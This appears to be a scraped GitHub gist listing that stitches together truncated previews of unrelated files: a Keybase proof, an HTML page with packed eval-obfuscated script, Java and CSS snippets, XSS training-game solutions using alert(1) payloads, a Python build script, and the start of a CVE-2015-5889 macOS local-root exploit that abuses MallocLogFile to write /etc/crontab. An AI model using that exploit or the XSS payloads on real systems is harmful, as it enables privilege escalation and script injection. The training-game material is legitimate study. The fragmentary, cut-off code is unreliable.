I hereby claim:
- I am arinerron on github.
- I am arinerron (https://keybase.io/arinerron) on keybase.
- I have a public key whose fingerprint is 02EC 5EE6 194D A341 A132 A295 FA6E 4332 B944 9910
To claim this, I am signing this object:
<html> | |
<head><title>User test</title></head> | |
<body style="background-color:lightgrey;"> | |
<h2>Scratch Stuff by Arinerron</h2> | |
<script>var s = confirm("Please click OK if you are signed in to Scratch, Cancel if not; this page doesn't really work if you're not..."); | |
if(s) { | |
} else { | |
document.write("Please this button once you sign in to Scratch! This page uses iframes and won't really work if you're not. (Inspect Element to see the src code).<br>"); | |
document.write("<div style=\"border:1px dashed black; background-color:white;\"><input type=\"button\" name=\"Reload\" text=\"Reload\" id=\"clearCache\" value=\"Reload\" onclick=\"window.location.reload(true);\"></div>"); |
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('7.9="<4>&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;6\\2\\1&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;\\/&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;\\\\\\2\\1&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;|&0;&0;&0;&0;5&0;&0;&0;&0;&0;|\\2\\1&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;|&0;&0;&0;|&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;|&0;&0;&0;&0;|\\2\\1&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;|&0;&0;&0;|&0;&0;8:\\\\>&0;3&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;|&0;&0;&0;&0;|\\2\\1&0;&0;&0;&0;&0;&0;&0; |
import javax.swing.JOptionPane; | |
public class Reader { | |
public Reader() { | |
String text = JOptionPane.showInputDialog("Please enter a few sentences to parse."); | |
int level = (int) read(text); | |
JOptionPane.showMessageDialog(null, "The text is " + (int) Math.ceil(level) + (level == 1 ? "st" : (level == 2 ? "nd" : (level == 3 ? "rd" : "th"))) + " grader level."); | |
} |
#answer-from-ask { | |
background-color: #4d4d4d; | |
color: #303030; | |
} | |
#email { | |
background-color: #4a4a4a; | |
border-color: #d9d9d9; | |
border-style: solid; | |
border-width: 1px; |
I hereby claim:
To claim this, I am signing this object:
import java.io.BufferedReader; | |
import java.io.IOException; | |
import java.io.InputStreamReader; | |
import java.io.PrintWriter; | |
import java.net.Socket; | |
import java.util.Scanner; | |
public class Main { | |
public static void main(String[] args) { |
::-webkit-scrollbar { | |
width: 13px; | |
height: 13px; | |
} | |
::-webkit-scrollbar-button { | |
width: 0px; | |
height: 0px; | |
} |
These are my solutions to http://xss-game.appspot.com/. I did not use any hints on these, but I took a while on the last two. | |
[Level 1]: Search for the string. | |
<script>alert(1)</script> | |
[Level 2]: Post the string | |
<img src=x onerror=javascript:alert(1)></img> | |
[Level 3]: Navigate to the URL | |
http://xss-game.appspot.com/level3/frame#1' onerror="javascript:alert(1)" |
wget https://www.python.org/ftp/python/3.4.2/Python-3.4.2.tgz | |
tar xvf Python-3.4.2.tgz | |
cd Python-3.4.2 | |
./configure | |
make | |
make test | |
sudo make install | |
cd .. | |
rm -rf Python-3.4.2 | |
rm Python-3.4.2.tgz |
# CVE-2015-5889: issetugid() + rsh + libmalloc osx local root | |
import os,time,sys | |
env = {} | |
s = os.stat("/etc/sudoers").st_size | |
env['MallocLogFile'] = '/etc/crontab' | |
env['MallocStackLogging'] = 'yes' |